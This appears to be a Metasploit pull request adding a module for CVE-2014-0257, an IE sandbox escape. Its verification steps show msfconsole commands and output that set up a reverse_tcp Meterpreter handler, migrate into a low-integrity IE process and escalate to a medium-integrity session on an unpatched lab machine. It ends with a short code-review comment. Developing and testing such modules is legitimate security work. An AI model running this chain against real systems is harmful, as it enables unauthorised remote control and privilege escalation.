Add module for CVE-2014-0257

Requirements
---------

https://github.com/rapid7/meterpreter/pull/84
https://github.com/rapid7/metasploit-framework/pull/3402

Verification
----------

Easy verification steps:

- [ ] Install Windows 7 / IE8 (no patches)
- [ ] Run the handler to get a meterpreter session in the target machine

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.143:49843) at 2014-05-29 11:05:22 -0500

```

- [ ] migrate the session to **Low Integrity** IE process

```
meterpreter > migrate 1200
[*] Migrating from 3268 to 1200...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...

```

- [ ] Use the msf module to escape the sandbox and get a Medium Integrity session

```
msf exploit(handler) > use exploit/windows/local/ms14_009_ie_dfsvc
msf exploit(ms14_009_ie_dfsvc) > set SRVHOST 172.16.158.1
SRVHOST => 172.16.158.1
msf exploit(ms14_009_ie_dfsvc) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms14_009_ie_dfsvc) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms14_009_ie_dfsvc) > set session 1
session => 1
msf exploit(ms14_009_ie_dfsvc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Running module against WIN-RNJ7NBRK9L7
[*] Using URL: http://172.16.158.1:8080/wmcX8qLjCS
[*] Server started.
[*] Loading Exploit Library...
[*] 172.16.158.143   ms14_009_ie_dfsvc - Sending hta...
[*] 172.16.158.143   ms14_009_ie_dfsvc - Sending psh payload...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.143:49846) at 2014-05-29 11:06:37 -0500
[*] Server stopped.

```

- [ ] Verify Medium Integrity in the new session

```
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > pwd
C:\Users\Juan Vazquez\Desktop
meterpreter > mkdir sandbox_bypassed
Creating directory: sandbox_bypassed
meterpreter > ls sandbox_bypassed

Listing: sandbox_bypassed
=========================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2014-05-29 11:07:01 -0500  .
40555/r-xr-xr-x  0     dir   2014-05-29 11:07:01 -0500  ..

meterpreter > exit
[*] Shutting down Meterpreter...

```
Better to use `Gem::Version`:

    > Gem::Version.new('0.4.1') < Gem::Version.new('0.10.1.2')
    => true